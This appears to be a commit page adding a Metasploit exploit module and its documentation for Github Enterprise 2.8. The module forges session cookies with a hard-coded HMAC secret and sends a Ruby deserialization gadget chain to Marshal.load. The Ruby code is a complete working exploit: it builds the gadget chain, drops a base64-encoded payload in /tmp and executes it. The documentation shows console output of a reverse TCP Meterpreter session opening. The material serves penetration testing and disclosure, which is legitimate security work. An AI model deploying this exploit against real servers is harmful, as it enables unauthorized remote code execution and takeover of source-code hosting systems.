Skip to content

Commit 196a0b6

Browse files
committed
Add Default Secret & Deserialization Exploit for Github Enterprise
1 parent d10b3da commit 196a0b6

File tree

2 files changed

+266
-0
lines changed

2 files changed

+266
-0
lines changed
Lines changed: 61 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,61 @@
1+
This module exploits two security issues found in Github Enterprise 2. The first problem is
2+
that the session management uses a hard-coded secret value, which can be abused to sign a
3+
serialized malicious object. The second problem is that the serialized string is passed to
4+
a ```Marshal.load``` API call, which deserializes the malicious object, and executes it. A
5+
malicious attacker can take advantage of these problems to achieve remote code execution.
6+
7+
## Vulnerable Application
8+
9+
For testing purposes, you can download a Github Enterprise image from the following location:
10+
11+
[https://enterprise.github.com/releases/](https://enterprise.github.com/releases/)
12+
13+
This module was specifically tested against version 2.8.0, which can be downloaded here:
14+
15+
[https://github-enterprise.s3.amazonaws.com/esx/releases/github-enterprise-2.8.0.ova](https://github-enterprise.s3.amazonaws.com/esx/releases/github-enterprise-2.8.0.ova)
16+
17+
Before you install the image, you must have a valid key. Start from here:
18+
19+
[https://enterprise.github.com/sn-trial](https://enterprise.github.com/sn-trial)
20+
21+
After signing up for a trial, you should receive an e-mail. The email will instruct you to access
22+
your portal account. In there, you can download your github-enterprise.ghl file, which is a key
23+
to complete installing your Github Enterprise system.
24+
25+
## Using github_enterprise_secret
26+
27+
The module consists of two features: the ```check``` command and the ```exploit``` command.
28+
29+
The ```check``` command determines if the host is vulnerable or not by extracting the hash of the
30+
cookie, and then attempts to create the same hash using the default secret key. If the two match,
31+
it means the module can tamper the cookie, and that makes the server vulnerable to deserialization.
32+
33+
```
34+
msf exploit(github_enterprise_secret) > check
35+
36+
[*] Found cookie value: _gh_manage=BAh7B0kiD3Nlc3Npb25faWQGOgZFVEkiRTViZTAwNjg4NDViYmYzNWQzMGZl%0AZTRiYWY2YmU4Mzg2MzQ2NjFjODcxYTAyZDZlZjA0YTQ2MWIzNDBiY2VkMGIG%0AOwBGSSIPY3NyZi50b2tlbgY7AFRJIjFZZ0I5ckVkbWhwclpmNWF5RmVia3Zv%0AQzVKMUVoVUxlRWNEbjRYbHplb2R3PQY7AEY%3D%0A--ab0866fc61ea036b1e83cd65b92c2b6cc5b001ed;, checking to see if it can be tampered...
37+
[*] Data: BAh7B0kiD3Nlc3Npb25faWQGOgZFVEkiRTViZTAwNjg4NDViYmYzNWQzMGZlZTRiYWY2YmU4Mzg2MzQ2NjFjODcxYTAyZDZlZjA0YTQ2MWIzNDBiY2VkMGIGOwBGSSIPY3NyZi50b2tlbgY7AFRJIjFZZ0I5ckVkbWhwclpmNWF5RmVia3ZvQzVKMUVoVUxlRWNEbjRYbHplb2R3PQY7AEY=
38+
[*] Extracted HMAC: ab0866fc61ea036b1e83cd65b92c2b6cc5b001ed
39+
[*] Expected HMAC: ab0866fc61ea036b1e83cd65b92c2b6cc5b001ed
40+
[*] The HMACs match, which means you can sign and tamper the cookie.
41+
[+] 192.168.146.201:8443 The target is vulnerable.
42+
msf exploit(github_enterprise_secret) >
43+
```
44+
45+
If vulnerable, the ```exploit``` command will attempt to gain access of the system:
46+
47+
```
48+
msf exploit(github_enterprise_secret) > exploit
49+
50+
[*] Started reverse TCP handler on 192.168.146.1:4444
51+
[*] Serialized Ruby stager
52+
[*] Sending serialized Ruby stager...
53+
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
54+
[*] Sending stage (1495599 bytes) to 192.168.146.201
55+
[*] Meterpreter session 2 opened (192.168.146.1:4444 -> 192.168.146.201:52454) at 2017-03-23 10:11:17 -0500
56+
[+] Deleted /tmp/htBDuK.bin
57+
[+] Deleted /tmp/kXgpK.bin
58+
[*] Connection timed out
59+
60+
meterpreter >
61+
```
Lines changed: 205 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,205 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
include Msf::Exploit::EXE
13+
include Msf::Exploit::FileDropper
14+
15+
def initialize(info={})
16+
super(update_info(info,
17+
'Name' => "Github Enterprise Default Session Secret And Deserialization Vulnerability",
18+
'Description' => %q{
19+
This module exploits two security issues in Github Enterprise, version 2.8. The first is
20+
that the session management uses a hard-coded secret value, which can be abused to sign
21+
a serialized malicious Ruby object. The second problem is due to the use of unsafe
22+
deserialization, which can allows the malicious Ruby object to be loaded, and results
23+
in arbitrary remote code execution.
24+
25+
This exploit was tested against version 2.8.0.
26+
},
27+
'License' => MSF_LICENSE,
28+
'Author' =>
29+
[
30+
'iblue <iblue[at]exablue.de>', # Original discovery, writeup, and PoC (he did it all!)
31+
'sinn3r' # Porting the PoC to Metasploit
32+
],
33+
'References' =>
34+
[
35+
[ 'EDB', '41616' ],
36+
[ 'URL', 'http://exablue.de/blog/2017-03-15-github-enterprise-remote-code-execution.html' ]
37+
],
38+
'Platform' => 'linux',
39+
'Targets' =>
40+
[
41+
[ 'Github Enterprise 2.8', { } ]
42+
],
43+
'DefaultOptions' =>
44+
{
45+
'SSL' => true,
46+
'RPORT' => 8443
47+
},
48+
'Privileged' => false,
49+
'DisclosureDate' => 'Mar 15 2017',
50+
'DefaultTarget' => 0))
51+
52+
register_options(
53+
[
54+
OptString.new('TARGETURI', [true, 'The base path for Github Enterprise', '/'])
55+
], self.class)
56+
end
57+
58+
def secret
59+
'641dd6454584ddabfed6342cc66281fb'
60+
end
61+
62+
def check
63+
uri = normalize_uri(target_uri.path, 'setup', 'unlock')
64+
res = send_request_cgi!({
65+
'method' => 'GET',
66+
'uri' => uri,
67+
'vars_get' =>{
68+
'redirect_to' => '/'
69+
}
70+
})
71+
72+
unless res
73+
vprint_error('Connection timed out.')
74+
return Exploit::CheckCode::Unknown
75+
end
76+
77+
unless res.get_cookies.match(/^_gh_manage/)
78+
vprint_error('No _gh_manage value in cookie found')
79+
return Exploit::CheckCode::Safe
80+
end
81+
82+
cookies = res.get_cookies
83+
vprint_status("Found cookie value: #{cookies}, checking to see if it can be tampered...")
84+
gh_manage_value = CGI.unescape(cookies.scan(/_gh_manage=(.+)/).flatten.first)
85+
data = gh_manage_value.split('--').first
86+
hmac = gh_manage_value.split('--').last.split(';', 2).first
87+
vprint_status("Data: #{data.gsub(/\n/, '')}")
88+
vprint_status("Extracted HMAC: #{hmac}")
89+
expected_hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, secret, data)
90+
vprint_status("Expected HMAC: #{expected_hmac}")
91+
92+
if expected_hmac == hmac
93+
vprint_status("The HMACs match, which means you can sign and tamper the cookie.")
94+
return Exploit::CheckCode::Vulnerable
95+
end
96+
97+
Exploit::CheckCode::Safe
98+
end
99+
100+
def get_ruby_code
101+
b64_fname = "/tmp/#{Rex::Text.rand_text_alpha(6)}.bin"
102+
bin_fname = "/tmp/#{Rex::Text.rand_text_alpha(5)}.bin"
103+
register_file_for_cleanup(b64_fname, bin_fname)
104+
p = Rex::Text.encode_base64(generate_payload_exe)
105+
106+
c = "File.open('#{b64_fname}', 'wb') { |f| f.write('#{p}') }; "
107+
c << "%x(base64 --decode #{b64_fname} > #{bin_fname}); "
108+
c << "%x(chmod +x #{bin_fname}); "
109+
c << "%x(#{bin_fname})"
110+
c
111+
end
112+
113+
114+
def serialize
115+
# We don't want to run this code within the context of Framework, so we run it as an
116+
# external process.
117+
ruby_code = %Q|
118+
module Erubis;class Eruby;end;end
119+
module ActiveSupport;module Deprecation;class DeprecatedInstanceVariableProxy;end;end;end
120+
121+
erubis = Erubis::Eruby.allocate
122+
erubis.instance_variable_set :@src, \\"#{get_ruby_code}; 1\\"
123+
proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.allocate
124+
proxy.instance_variable_set :@instance, erubis
125+
proxy.instance_variable_set :@method, :result
126+
proxy.instance_variable_set :@var, "@result"
127+
128+
session =
129+
{
130+
'session_id' => '',
131+
'exploit' => proxy
132+
}
133+
134+
print Marshal.dump(session)
135+
|
136+
137+
serialized_output = `ruby -e "#{ruby_code}"`
138+
139+
serialized_object = [serialized_output].pack('m')
140+
hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, secret, serialized_object)
141+
142+
return serialized_object, hmac
143+
end
144+
145+
def get_rce_status(res)
146+
unless res
147+
return 'Connection timed out'
148+
end
149+
150+
msg = "Server returned with: #{res.code}"
151+
152+
if res.code == 302
153+
msg << ' (looks like successful code execution)'
154+
end
155+
156+
msg
157+
end
158+
159+
def send_serialized_data(dump, hmac)
160+
uri = normalize_uri(target_uri.path)
161+
gh_manage_value = CGI.escape("#{dump}--#{hmac}")
162+
cookie = "_gh_manage=#{gh_manage_value}"
163+
res = send_request_cgi({
164+
'method' => 'GET',
165+
'uri' => uri,
166+
'cookie' => cookie
167+
})
168+
169+
print_status(get_rce_status(res))
170+
end
171+
172+
def exploit
173+
dump, hmac = serialize
174+
print_status('Serialized Ruby stager')
175+
176+
print_status('Sending serialized Ruby stager...')
177+
send_serialized_data(dump, hmac)
178+
end
179+
180+
end
181+
182+
=begin
183+
184+
Handy information:
185+
186+
To deobfuscate Github code, use this script:
187+
https://gist.github.com/wchen-r7/003bef511074b8bc8432e82bfbe0dd42
188+
189+
Github Enterprise's Rack::Session::Cookie saves the session data into a cookie using this
190+
algorithm:
191+
192+
* Takes the session hash (Json) in env['rack.session']
193+
* Marshal.dump the hash into a string
194+
* Base64 the string
195+
* Append a hash of the data at the end of the string to prevent tampering.
196+
* The signed data is saved in _gh_manage'
197+
198+
The format looks like this:
199+
200+
[ DATA ]--[ Hash ]
201+
202+
Also see:
203+
https://github.com/rack/rack/blob/master/lib/rack/session/cookie.rb
204+
205+
=end

0 commit comments

Comments
 (0)